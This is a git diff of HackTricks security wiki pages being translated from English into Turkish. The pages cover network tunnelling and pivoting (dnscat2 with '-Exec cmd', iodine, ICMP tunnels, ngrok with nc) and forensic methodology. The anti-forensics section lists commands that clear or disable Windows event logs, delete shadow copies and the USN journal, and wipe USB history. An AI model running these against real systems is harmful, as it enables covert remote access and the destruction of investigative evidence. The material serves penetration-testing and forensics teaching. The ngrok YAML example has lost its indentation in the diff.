previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## NTLM proxy atlatma +Daha önce bahsedilen araç: **Rpivot**\ +**OpenVPN** de bunu atlatabilir, yapılandırma dosyasında bu seçenekleri ayarlayarak: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel olarak bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\ +Örneğin, 443 portunu yönlendirin. ``` Username Alice Password P@ssw0rd @@ -471,40 +390,34 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +Şimdi, örneğin kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\ +Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir. ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Microsoft tarafından oluşturulan bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) -## DNS Tunneling +## DNS Tünelleme ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +Her iki sistemde de tun adaptörleri oluşturmak ve DNS sorguları kullanarak aralarında veri tünellemek için root gereklidir. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**Buradan indirin**](https://github.com/iagox86/dnscat2)**.** +DNS üzerinden bir C\&C kanalı kurar. Root ayrıcalıklarına ihtiyaç duymaz. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,50 +426,42 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **PowerShell'da** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +PowerShell'da bir dnscat2 istemcisi çalıştırmak için [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kullanabilirsiniz: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **dnscat ile port yönlendirme** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### Proxychains DNS'ini Değiştir -#### Change proxychains DNS +Proxychains `gethostbyname` libc çağrısını keser ve tcp DNS isteğini socks proxy üzerinden tüneller. **Varsayılan** olarak proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (hardcoded). Bunu değiştirmek için dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. **Windows ortamında** iseniz, **domain controller**'ın IP'sini ayarlayabilirsiniz. -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Go'da Tüneller [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## ICMP Tünelleme ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +Her iki sistemde de tun adaptörleri oluşturmak ve ICMP echo istekleri kullanarak veri tünellemek için root gereklidir. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**Buradan indirin**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -570,32 +475,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **çözümleri tek bir komut satırıyla internete açmak için bir araçtır.**\ +&#xNAN;_Exposition URI şunlar gibidir:_ **UID.ngrok.io** -### Installation - -- Create an account: https://ngrok.com/signup -- Client download: +### Kurulum +- Bir hesap oluşturun: https://ngrok.com/signup +- İstemci indirme: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### Temel Kullanımlar -### Basic usages +**Dokümantasyon:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ - -#### Tunneling TCP +_Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür._ +#### TCP Tünelleme ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +504,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### HTTP ile dosyaları açığa çıkarma ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` +#### HTTP çağrılarını dinleme -#### Sniffing HTTP calls - -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). - -#### Tunneling internal HTTP service +_XSS, SSRF, SSTI için faydalıdır ..._\ +stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan. +#### Dahili HTTP hizmetini tünelleme ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml basit yapılandırma örneği -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: +3 tünel açar: - 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +- 1 HTTP, /tmp/httpbin/ dizininden statik dosyaların sergilenmesiyle ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## Diğer kontrol araçları - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..32c51015e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Temel Adli Metodoloji {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Bir Görüntü Oluşturma ve Bağlama {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Kötü Amaçlı Yazılım Analizi -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Bu **görüntüyü aldıktan sonra gerçekleştirilecek ilk adım olmak zorunda değil**. Ancak bir dosyanız, bir dosya sistemi görüntüsü, bellek görüntüsü, pcap... varsa bu kötü amaçlı yazılım analiz tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden **bu eylemleri aklınızda bulundurmak iyi**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Bir Görüntüyü İnceleme -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Eğer size bir **adli görüntü** verilirse, **bölümleri, kullanılan dosya sistemini** **analiz etmeye** ve potansiyel olarak **ilginç dosyaları** (silinmiş olanlar dahil) **geri kazanmaya** başlayabilirsiniz. Bunu nasıl yapacağınızı öğrenin: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Belirli Dosya Türleri ve Yazılımlarının Derin İncelemesi -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Eğer çok **şüpheli** bir **dosyanız** varsa, o zaman **dosya türüne ve onu oluşturan yazılıma** bağlı olarak birkaç **numara** faydalı olabilir.\ +Bazı ilginç numaraları öğrenmek için aşağıdaki sayfayı okuyun: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Özel olarak şu sayfayı belirtmek istiyorum: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Bellek Dökümü İncelemesi {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcap İncelemesi {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Anti-Adli Teknikler** -Keep in mind the possible use of anti-forensic techniques: +Anti-adli tekniklerin olası kullanımını aklınızda bulundurun: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Tehdit Avı {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..1a144b1df 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -2,151 +2,151 @@ {{#include ../../banners/hacktricks-training.md}} -## Timestamps +## Zaman Damgaları -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +Bir saldırgan, **dosyaların zaman damgalarını değiştirmekle** ilgilenebilir.\ +Zaman damgalarını, MFT içinde `$STANDARD_INFORMATION` \_\_ ve \_\_ `$FILE_NAME` özniteliklerinde bulmak mümkündür. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows gezgini** ve diğer araçlar, **`$STANDARD_INFORMATION`** içindeki bilgileri gösterir. ### TimeStomp - Anti-forensic Tool -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ama** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **faaliyetleri** **belirlemek** mümkündür. ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN Journal** (Güncelleme Sırası Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesini sağlar. ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +Önceki resim, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **araç** tarafından gösterilen **çıktıdır**. ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Bir dosya sistemine yapılan tüm meta veri değişiklikleri**, [ön yazma günlüğü](https://en.wikipedia.org/wiki/Write-ahead_logging) olarak bilinen bir süreçte kaydedilir. Kaydedilen meta veriler, NTFS dosya sisteminin kök dizininde bulunan `**$LogFile**` adlı bir dosyada tutulur. [LogFileParser](https://github.com/jschicht/LogFileParser) gibi araçlar, bu dosyayı ayrıştırmak ve değişiklikleri belirlemek için kullanılabilir. ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Yine, aracın çıktısında **bazı değişikliklerin yapıldığını** görmek mümkündür. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Aynı aracı kullanarak, **zaman damgalarının ne zaman değiştirildiğini** belirlemek mümkündür: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Dosyanın oluşturulma zamanı +- ATIME: Dosyanın değiştirilme zamanı +- MTIME: Dosyanın MFT kayıt değişikliği +- RTIME: Dosyanın erişim zamanı -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### `$STANDARD_INFORMATION` ve `$FILE_NAME` karşılaştırması -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Şüpheli değiştirilmiş dosyaları belirlemenin bir diğer yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzluklar** aramaktır. -### Nanoseconds +### Nanosecond -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS** zaman damgalarının **kesinliği** **100 nanosecond**'dir. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaları bulmak **çok şüphelidir**. ### SetMace - Anti-forensic Tool -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemine ihtiyaç vardır. -## Data Hiding +## Veri Gizleme -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir küme ve yarım küme kapladığında, **geri kalan yarımın asla kullanılmayacağı** anlamına gelir. Bu nedenle, bu boş alanda **veri gizlemek mümkündür**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Slacker gibi, bu "gizli" alanda veri gizlemeye olanak tanıyan araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Bu nedenle, FTK Imager gibi araçlar kullanarak boş alanı geri almak mümkündür. Bu tür bir aracın içeriği obfuscate veya hatta şifreli olarak kaydedebileceğini unutmayın. ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Bu, herhangi bir USB portunda değişiklik algılandığında bilgisayarı **kapatan** bir araçtır.\ +Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir python betiğini gözden geçirmektir**. -## Live Linux Distributions +## Canlı Linux Dağıtımları -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Bu dağıtımlar, **RAM** belleği içinde **çalıştırılır**. Onları tespit etmenin tek yolu, **NTFS dosya sisteminin yazma izinleriyle monte edilmesidir**. Sadece okuma izinleriyle monte edilirse, ihlali tespit etmek mümkün olmayacaktır. -## Secure Deletion +## Güvenli Silme [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Windows Yapılandırması -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlükleme yöntemini devre dışı bırakmak mümkündür. -### Disable Timestamps - UserAssist +### Zaman Damgalarını Devre Dışı Bırak - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Bu, her yürütülebilir dosyanın kullanıcı tarafından ne zaman çalıştırıldığını koruyan bir kayıt anahtarıdır. -Disabling UserAssist requires two steps: +UserAssist'i devre dışı bırakmak iki adım gerektirir: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. UserAssist'i devre dışı bırakmak istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` anahtarlarını sıfıra ayarlayın. +2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` gibi görünen kayıt alt ağaçlarınızı temizleyin. -### Disable Timestamps - Prefetch +### Zaman Damgalarını Devre Dışı Bırak - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Bu, Windows sisteminin performansını artırmak amacıyla yürütülen uygulamalar hakkında bilgi kaydedecektir. Ancak, bu aynı zamanda adli uygulamalar için de faydalı olabilir. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- `regedit` çalıştırın +- Dosya yolunu seçin `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- `EnablePrefetcher` ve `EnableSuperfetch` üzerinde sağ tıklayın +- Her birinin değerini 1 (veya 3) yerine 0 olarak değiştirmek için Değiştir'i seçin +- Yeniden başlatın -### Disable Timestamps - Last Access Time +### Zaman Damgalarını Devre Dışı Bırak - Son Erişim Zamanı -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Bir NTFS hacminden bir klasör açıldığında, sistem, listedeki her klasör için **bir zaman damgası alanını güncellemek için zamanı alır**, buna son erişim zamanı denir. Yoğun kullanılan bir NTFS hacminde, bu performansı etkileyebilir. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Kayıt Defteri Düzenleyicisini (Regedit.exe) açın. +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` yoluna gidin. +3. `NtfsDisableLastAccessUpdate` anahtarını arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlem devre dışı bırakılacaktır. +4. Kayıt Defteri Düzenleyicisini kapatın ve sunucuyu yeniden başlatın. -### Delete USB History +### USB Geçmişini Sil -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya Dizüstü Bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek**, USB geçmişini sileceksiniz.\ +Ayrıca, silindiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanabilirsiniz (ve silmek için). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +USB'ler hakkında bilgi kaydeden bir diğer dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu dosya da silinmelidir. -### Disable Shadow Copies +### Gölge Kopyalarını Devre Dışı Bırak -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Gölge kopyalarını listeleyin** `vssadmin list shadowstorage`\ +**Silin** `vssadmin delete shadow` komutunu çalıştırarak -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları izleyerek GUI üzerinden de silebilirsiniz. -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin: -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programını açın. +2. Listeden "Volume Shadow Copy"yi bulun, seçin ve sağ tıklayarak Özellikler'e erişin. +3. "Başlangıç türü" açılır menüsünden Devre Dışı seçeneğini seçin ve ardından değişikliği onaylamak için Uygula ve Tamam'a tıklayın. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Hangi dosyaların gölge kopyasında kopyalanacağını kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ayarlarını değiştirerek de yapılandırmak mümkündür. -### Overwrite deleted files +### Silinmiş Dosyaları Üzerine Yaz -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- **Windows aracı** kullanabilirsiniz: `cipher /w:C` Bu, şifreleme aracına C sürücüsündeki kullanılmayan disk alanından herhangi bir veriyi kaldırmasını belirtir. +- Ayrıca, [**Eraser**](https://eraser.heidi.ie) gibi araçlar da kullanabilirsiniz. -### Delete Windows event logs +### Windows Olay Günlüklerini Sil -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> "Windows Günlükleri"ni genişletin --> Her kategoriye sağ tıklayın ve "Günlüğü Temizle"yi seçin - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### Windows Olay Günlüklerini Devre Dışı Bırak - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- Hizmetler bölümünde "Windows Olay Günlüğü" hizmetini devre dışı bırakın +- `WEvtUtil.exec clear-log` veya `WEvtUtil.exe cl` -### Disable $UsnJrnl +### $UsnJrnl'yi Devre Dışı Bırak - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..8a6ef1fd2 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} ## Container modification -There are suspicions that some docker container was compromised: - +Bazı docker konteynerlerinin tehlikeye atıldığına dair şüpheler var: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Bu konteynerdeki **görüntü ile ilgili yapılan değişiklikleri kolayca bulabilirsiniz**: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Önceki komutta **C** **Değiştirildi** ve **A,** **Eklendi** anlamına gelir.\ +Eğer `/etc/shadow` gibi ilginç bir dosyanın değiştirildiğini bulursanız, kötü niyetli etkinlikleri kontrol etmek için dosyayı konteynerden indirmek için: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Aynı zamanda **bunu orijinal ile karşılaştırabilirsiniz** yeni bir konteyner çalıştırarak ve içinden dosyayı çıkararak: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Eğer **şüpheli bir dosyanın eklendiğini** bulursanız, konteynıra erişip kontrol edebilirsiniz: ```bash docker exec -it wordpress bash ``` +## Görüntü Modifikasyonları -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Bir dışa aktarılmış docker görüntüsü (muhtemelen `.tar` formatında) verildiğinde, **değişikliklerin bir özetini çıkarmak için** [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) kullanabilirsiniz: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Sonra, görüntüyü **açabilir** ve **blob'lara erişebilir** ve değişiklik geçmişinde bulmuş olabileceğiniz şüpheli dosyaları arayabilirsiniz: ```bash tar -xf image.tar ``` +### Temel Analiz -### Basic Analysis - -You can get **basic information** from the image running: - +Görüntüden **temel bilgiler** 